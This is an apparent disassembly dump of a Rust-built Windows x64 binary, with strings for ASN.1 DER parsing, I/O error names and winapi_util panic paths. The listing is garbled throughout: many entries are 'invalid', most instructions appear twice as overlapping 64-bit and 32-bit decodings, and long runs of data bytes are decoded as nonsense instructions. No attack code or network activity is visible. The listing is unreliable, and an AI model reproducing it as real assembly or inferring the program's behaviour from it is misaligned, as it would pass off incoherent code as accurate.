mov rcx, rax
mov ecx, eax
and rcx, 0xffffffffffffff80
loope case.0x14001b912.458
lea rdx, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov dword [rcx + 0x78], eax
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov dword [rcx + 0x78], eax
js case.0x14002615d.401
js case.0x14002615d.401
mov qword [rcx + 0x80], 1
mov dword [rcx + 0x80], 1
add byte [rax], 0
add byte [rcx], al
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
add byte [rax], al
mov qword [rcx + 0x88], 1
or dword [rax + 0x1000000], 0x48000000
mov dword [rcx + 0x100], esi
mov cl, 0
add dword [rax], eax
invalid
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 0x100], rsi
mov cl, 0
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov qword [rcx + 0x180], rsi
mov dword [rcx + 0x180], esi
mov cl, 0x80
add dword [rax], eax
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rdx], al
add byte [rax], al
invalid
mov qword [rcx + 0x200], 0
mov dword [rcx + 0x200], 0
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
add byte [rax], al
mov qword [rcx + 0x280], 0
add dword [rax + 2], 0x48000000
mov eax, dword [rbx]
invalid
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbx]
add ecx, dword [rax - 0x77]
mov qword [rax], rdx
adc byte [rax - 0x75], cl
mov rax, qword [rdi]
mov byte [rax], 1
add byte [rcx], al
invalid
add dword [rax - 0x7d], ecx
invalid
add rsp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x818
sbb byte [rax], cl
add byte [rax], al
or byte [rax], al
add al, ch
loopne case.0x14002f3a6.159
call fcn.1400a9bd0
ud2
add eax, 0xb90b0f00
mov ecx, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x280], bh
mov edx, 0x280
add byte [rdx], 0
add al, ch
iretd
add byte [rax], al
call fcn.1400a9bd0
invalid
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
or eax, 0xa3b56
push rsi
cmp ecx, dword [rdx]
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
push rsi
cmp ecx, dword [rdx]
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
cmpsd dword [rsi], dword [rdi]
jp 0x14004ab19
invalid
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_std_src_synconce.rs
lea eax, [0x1400e25b8]
add byte [rdx + 0x2b], bh
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.1400a9e70
add eax, 0xcc0b0f00
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
shl byte [rdi + rbx], 1
and al, 0x1f
cmp al, 0x1f
jne case.0x140032048.145
invalid
adc al, bh
mov dword [rcx], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dh, al
add al, 0x1f
mov byte [rcx + 4], 0x1f
mov dword [rcx + 5], 0x12000000
add byte [rax], al
add byte [rdx], dl
ret
movzx r8d, dl
movzx eax, dl
ret 0xff41
dec r8d
cmp r8d, 0x30
cmp eax, 0x30
clc
xor byte [rdi], cl
xchg dword [rbp + 0x4c000000], edx
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0xa4c02
ja case.default.0x14004ab59
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea r9, [0x1400ef754]
or eax, 0xa4c02
add cl, byte [rdx + rcx]
or r8b, byte [rax]
add byte [rdi + 0x63], cl
movsxd r8, dword [r9 + r8*4]
invalid
add al, 0x81
add r8, r9
add eax, ecx
enter 0xffffffffffffff41, 0xffffffffffffffe0
jmp r8
jmp rax
mov byte [rcx + 4], 0
add al, 0
add al, 0
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 2
add al, 2
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 5
add al, 5
add al, 5
mov dword [rcx], 2
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 0xc
add al, 0xc
add al, 0xc
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xd
add al, 0xd
or eax, 0x201c7
add byte [rax], al
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
ret
mov byte [rcx + 4], 0xe
add al, 0xe
add al, 0xe
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 0xf
add al, 0xf
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 9
add al, 9
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xa
add al, 0xa
or al, bh
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 1
add edi, eax
add dword [rdx], eax
invalid
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 3
add al, 3
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 4
add al, 4
add al, 4
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
invalid
add byte [rax], al
add bl, al
ret
mov r8d, edx
rol byte [rcx - 0x80], 1
loopne 0x14004ac07
invalid
and r8b, 0x20
and byte [rbp + rcx*4 + 0x4a], al
rol byte [rcx - 0x80], 0xf9
invalid
invalid
stc
lea r9d, [rdx - 0x40]
lea ecx, [rdx - 0x40]
rol byte [rcx - 0x80], 0xf9
cmp r9b, 0x3f
stc
invalid
jae 0x14004ac5f
shr r8b, 5
call 0x1444671fd
add eax, 0x140441c6
mov byte [rcx + 4], 0x14
add al, 0x14
adc al, 0x88
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
add eax, 0x6418844
add eax, 0x6418844
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
mov byte [rcx + 4], 6
add al, 6
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 7
add al, 7
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 8
add al, 8
add al, 8
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, al
ret
mov byte [rcx + 4], 0xb
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
invalid
add dword [rdx], eax
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add bl, al
ret
mov byte [rcx + 4], 0x10
adc bh, al
add dword [rdx], eax
mov dword [rcx], 2
ret
add byte [rax], al
add bl, al
mov byte [rcx + 4], 0x11
add al, 0x11
adc edi, eax
mov dword [rcx], 2
add dword [rdx], eax
add byte [rax], al
add byte [rax], al
ret
add al, byte [rax]
add byte [rax], al
ret
mov byte [rcx + 4], 0x12
add al, 0x12
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0x13
add al, 0x13
mov dword [rcx], 2
add dword [rdx], eax
add al, byte [rax]
add byte [rax], al
add bl, al
ret
add byte [rax], al
ret
cmp dl, 0xbf
jge case.0x140032048.155
mov edi, 0xc041167d
shr r8b, 5
shr al, 5
call 0x144467270
adc eax, 0x44054188
add eax, 0x150441c6
mov byte [rcx + 4], 0x15
add al, 0x15
add al, 0x15
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
ret
add dword [rdx], eax
add byte [rax], al
add bl, al
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
cmp r9b, 0x3f
jae case.0x140026cbd.385
shr r8b, 5
mov byte [rcx + 4], 0x16
call 0x144467290
invalid
mov byte [rcx + 5], al
add eax, 0x6418844
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
invalid
mov dword [rcx], 2
add byte [rax], al
add bl, al
ret
ret
mov dword [rcx], 0
add byte [rax], al
mov byte [rcx + 8], 0x14
mov byte [rcx + 9], dl
or ebx, eax
or byte [r8 + rcx*4], dl
or byte [rax + rcx*4], dl
adc al, 0x88
push rcx
or ebx, eax
int3
int3
int3
mov eax, dword [rcx]
movzx ecx, byte [rax]
mov dh, 8
add dword [rdi], ecx
mov dh, 8
lea r8, [0x1400ef818]
add eax, 0xa4b57
push rdi
or al, byte [r8]
add byte [rcx + 0x63], cl
or al, 0x88
invalid
movsxd rcx, dword [r8 + rcx*4]
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
add ecx, eax
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x95333
xor edx, dword [rbx + 9]
invalid
lea rdx, str.BOOLEANINTEGERBIT_STRINGOCTET_STRINGNULLOBJECT_IDENTIFIERREALENUMERATEDUTF8StringSEQUENCESETNumericStringPrintableStringTeletexStringVideotexStringIA5StringUTCTimeGeneralizedTimeVisibleStringBMPStringAPPLICATION_____
xor edx, dword [rbx + 9]
add byte [rcx - 0x48], al
invalid
push rbx
or dword [rax], eax
mov r8d, 7
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add rsp, 0x78
jmp rax
invalid
js case.0x14004ab59.264
jmp rax
loopne case.0x140075b85.466
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0017]
push rbx
or dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 7
add rsp, 0x78
js case.0x14006b1f5.429
jmp rax
invalid
js case.0x14006b1f5.429
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e001e]
adc eax, 0x95301
or dword [rax], eax
mov r8d, 0xa
add rsp, 0x78
add esp, 0x78
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add esp, 0x78
js 0x14004ad70
jmp rax
jmp rax
loopne 0x14004ad73
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0028]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0028]
lea edx, [0x1400e0028]
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
mov r8d, 0xc
add rsp, 0x78
invalid
js case.0x140028086.240
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0034]
adc eax, 0x952d7
add byte [rcx - 0x48], al
add al, 0
mov r8d, 4
mov eax, 4
add byte [rax], al
add rsp, 0x78
jmp rax
jmp rax
js 0x14004adb0
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0038]
adc eax, 0x952bb
or dword [rax], eax
mov r8d, 0x11
mov eax, 0x11
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x78
add esp, 0x78
js 0x14004add0
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x952ac
push rdx
or dword [rax], eax
lea rdx, [0x1400e0049]
lea edx, [0x1400e0049]
push rdx
or dword [rax], eax
mov r8d, 4
add rsp, 0x78
js 0x14004adf0
jmp rax
js 0x14004adf0
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x95290
lea rdx, [0x1400e004d]
mov r8d, 0xa
mov eax, 0xa
or al, byte [rax]
add byte [rax], al
add rsp, 0x78
jmp rax
js 0x14004ae10
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e0057]
lea edx, [0x1400e0057]
adc eax, 0x9527a
push rdx
or dword [rax], eax
mov r8d, 0xa
or al, byte [rax]
add byte [rax], al
add rsp, 0x78
js 0x14004ae30
jmp rax
jmp rax
loopne 0x14004ae33
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0061]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e0061]
or dword [rax], eax
mov r8d, 8
add byte [rax], al
add rsp, 0x78
add esp, 0x78
invalid
js 0x14004ae50
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x9524c
or dword [rax], eax
lea rdx, [0x1400e0069]
lea edx, [0x1400e0069]
or dword [rax], eax
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
invalid
js case.0x14004ab59.274
jmp rax
loopne case.0x140046a5e.86
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e006c]
lea edx, [0x1400e006c]
adc eax, 0x9522f
mov r8d, 0xd
add byte [rax], al
add rsp, 0x78
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0079]
adc eax, 0x9521c
sbb al, 0x52
or dword [rax], eax
mov r8d, 0xf
mov eax, 0xf
add rsp, 0x78
add esp, 0x78
js 0x14004aeb0
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e0088]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e0088]
or edx, dword [rdx + 9]
or dword [rax], eax
add byte [rcx - 0x48], al
mov r8d, 0xd
or eax, 0x48000000
add esp, 0x78
add byte [rax], al
add rsp, 0x78
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x951f8
sbb byte [rax - 0x73], cl
adc eax, 0x951f8
clc
push rcx
or dword [rax], eax
mov r8d, 0xe
add rsp, 0x78
add esp, 0x78
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add esp, 0x78
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e00a3]
lea edx, [0x1400e00a3]
adc eax, 0x951e6
mov r8d, 9
mov eax, 9
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x78
jmp rax
loopne 0x14004af13
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x951cf
iretd
push rcx
or dword [rax], eax
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e00ac]
iretd
mov r8d, 7
add rsp, 0x78
invalid
js case.0x1400279a8.309
jmp rax
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x951b6
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x951b6
mov r8d, 0xf
add rsp, 0x78
add esp, 0x78
add esp, 0x78
js 0x14004af50
jmp rax
jmp rax
loopne 0x14004af53
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1400e00c2]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e00c2]
mov r8d, 0xd
add rsp, 0x78
or eax, 0x48000000
add esp, 0x78
jmp rax
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
invalid
invalid
mov byte [rsp + 0x27], al
and al, 0x27
add dword [rax + 0x48272444], ecx
shl ecx, 4
invalid
and al, 0x27
invalid
shl rcx, 4
add al, 0x48
lea eax, [0x1400e0130]
out dx, eax
push rcx
or dword [rax], eax
lea rax, str.primitiveconstructed
out dx, eax
push rcx
or dword [rax], eax
add rax, rcx
lea rcx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
and al, 0x27
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x73], cl
lea rcx, [0x14004b070]
or eax, 0x11b
add byte [rax], al
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0x40], rax
lea rax, [0x1400e00e8]
push rcx
or dword [rax], eax
jmp 0x14004b009
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
shl rcx, 4
lea rax, str.primitiveconstructed
movabs byte [0x8d48c80148000951], al
and al, 0x27
mov qword [rsp + 0x28], rcx
lea rcx, [0x14004b070]
lea ecx, [0x14004b070]
lea ecx, [0x14004b070]
add byte [rax - 0x77], cl
and al, 0x30
invalid
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x1400514b0]
mov qword [rsp + 0x40], rax
lea rax, str.CONTEXT_SPECIFIC__
push rcx
or dword [rax], eax
push rcx
or dword [rax], eax
jmp 0x14004b009
movzx rcx, byte [rax + 2]
movzx ecx, byte [rax + 2]
movzx eax, byte [rax + 1]
mov byte [rsp + 0x27], al
invalid
shl rcx, 4
shl ecx, 4
invalid
shl ecx, 4
add al, 0x48
lea eax, [0x1400e0130]
lea rax, str.primitiveconstructed
add rax, rcx
lea rcx, [rsp + 0x27]
lea ecx, [rsp + 0x27]
enter 0xffffffffffff8d48, 0x4c
lea ecx, [rsp + 0x27]
and al, 0x27
and al, 0x27
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x73], cl
or eax, 0x84
test byte [rax], al
add byte [rax], al
lea rcx, [0x14004b070]
lea ecx, [0x14004b070]
test byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rcx
and al, 0x30
xor byte [rax - 0x77], cl
and al, 0x38
and al, 0x38
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x1400514b0]
add eax, 0x64b3
mov bl, 0x64
add byte [rax], al
invalid
add byte fs:[rax], al
add byte [rax - 0x77], cl
and al, 0x40
invalid
mov qword [rsp + 0x40], rax
lea rax, str.PRIVATE__
lea rax, str.PRIVATE__
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 3
mov dword [rsp + 0x50], 3
push rax
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x68
and al, 0x68
mov qword [rsp + 0x68], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
invalid
and al, 0x60
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
invalid
and byte [rax - 0x75], cl
mov edx, dword [rdx + 0x28]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x48]
and al, 0x48
call fcn.140042180
nop
add rsp, 0x78
add esp, 0x78
add esp, 0x78
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x95071
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x95071
mov r8d, 9
mov eax, 9
add rsp, 0x78
add esp, 0x78
jmp rax
loopne 0x14004b038
int3
int3
int3
sub esp, 0x68
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
in al, dx
push 0x244c8948
mov dword [rsp + 0x28], ecx
lea rax, [0x140043a60]
mov dword [rsp + 0x28], ecx
lea rax, [0x140043a60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400ece60]
or al, byte [rax]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x58], 0
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
and al, 0x48
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x38]
call fcn.140042180
mov eax, 0x90ffff70
cmp al, ch
mov eax, 0x90ffff70
add rsp, 0x68
ret
int3
mov rax, qword [rcx]
add dword [rdi], ecx
mov dh, 0
movzx eax, byte [rax]
lea rcx, [0x1400ee710]
or al, byte ss:[rax]
add byte [rbx + rcx*4 + 4], cl
ror dword [rax - 0x73], 0xd
invalid
invalid
jo 0x14004b11d
mov r8, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
lea rcx, str.NotFoundPermissionDeniedConnectionRefusedConnectionResetHostUnreachableNetworkUnreachableConnectionAbortedNotConnectedAddrInUseAddrNotAvailableNetworkDownBrokenPipeAlreadyExistsWouldBlockNotADirectoryIsADirectoryDirectoryNotEmptyReadOnlyFilesystemFilesystemLoopStaleNetworkFileHandleInvalidInputInvalidDataTimedOutWriteZeroStorageFullNotSeekableFilesystemQuotaExceededFileTooLargeResourceBusyExecutableFileBusyDeadlockCrossesDevicesTooManyLinksInvalidFilenameArgumentListTooLongInterruptedUnsupportedUnexpectedEofOutOfMemoryOtherUncategorizedapi_ms_win_core_synch_l1_2_0
lea ecx, [0x1400ee858]
or eax, 0xa3770
or al, byte [rax]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
mov edx, eax
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
invalid
mov edx, eax
ret 0xff49
jmp r9
int3
push rbx
sub rsp, 0xa0
add byte [rax - 0x77], cl
invalid
movzx eax, byte [rcx]
mov dh, 1
add byte [rax - 0x77], cl
invalid
mov dh, 1
lea rcx, [0x1400ef874]
or eax, 0xa475d
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0x48e0ffc8
add rax, rcx
enter 0xffffffffffffe0ff, 0x48
jmp rax
lea rax, str.date_time_error
lea eax, [0x1400dfba0]
add eax, 0x94a79
or qword [rax], rax
jmp 0x14004b2da
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.operation_failed
lea eax, [0x1400dfbc0]
add eax, 0x94a8d
add cl, ch
jmp 0x14004b2da
movabs byte [0x4aa1058d48000001], al
lea rax, str.file_not_found
add eax, 0x94aa1
or dword [rax], eax
add cl, ch
xchg esi, eax
add dword [rax], eax
add byte [rax], al
lea rax, [rsi + 4]
invalid
jmp 0x14004b2da
add byte [rax], al
lea rax, [rsi + 4]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x68], eax
and al, 0x68
add rsi, 8
add esi, 8
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
lea rax, [rsp + 0x68]
and al, 0x68
and al, 0x68
push 0x24448948
jo 0x14004b1a9
mov qword [rsp + 0x70], rax
and al, 0x70
lea rax, [0x14004b5d0]
lea eax, [0x14004b5d0]
add eax, 0x469
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
and al, 0x78
and al, 0x78
lea rcx, [rsp + 0x58]
and al, 0x58
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rax, str.ASN.1_DER_message_is_incomplete:_expected___actual
lea eax, [0x1400dfc28]
add eax, 0x94aa0
or dword [rax], eax
mov qword [rsp + 0x20], rax
and al, 0x20
mov qword [rsp + 0x28], 2
mov dword [rsp + 0x28], 2
jmp case.0x14002f3a6.202
add al, byte [eax]
add byte [rax - 1], cl
invalid
inc rsi
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x58], esi
and al, 0x58
pop rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
mov dword [rsp + 0x70], eax
and al, 0x70
lea rax, case.0x140050f92.24
mov qword [rsp + 0x78], rax
lea rax, str.I_O_error:
lea eax, [0x1400dfc58]
invalid
lea eax, [0x1400dfc58]
or dword [rax], eax
jmp 0x14004b532
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rax, str.indefinite_length_disallowed
lea rax, str.indefinite_length_disallowed
or dword [rax], eax
jmp 0x14004b2da
inc rsi
mov qword [rsp + 0x58], rsi
and al, 0x58
and al, 0x58
lea rax, [rsp + 0x58]
lea eax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
lea rax, [0x14004acb0]
mov qword [rsp + 0x78], rax
lea rax, str.incorrect_length_for
jmp 0x14004b532
inc rsi
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
lea rax, [0x14004acb0]
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
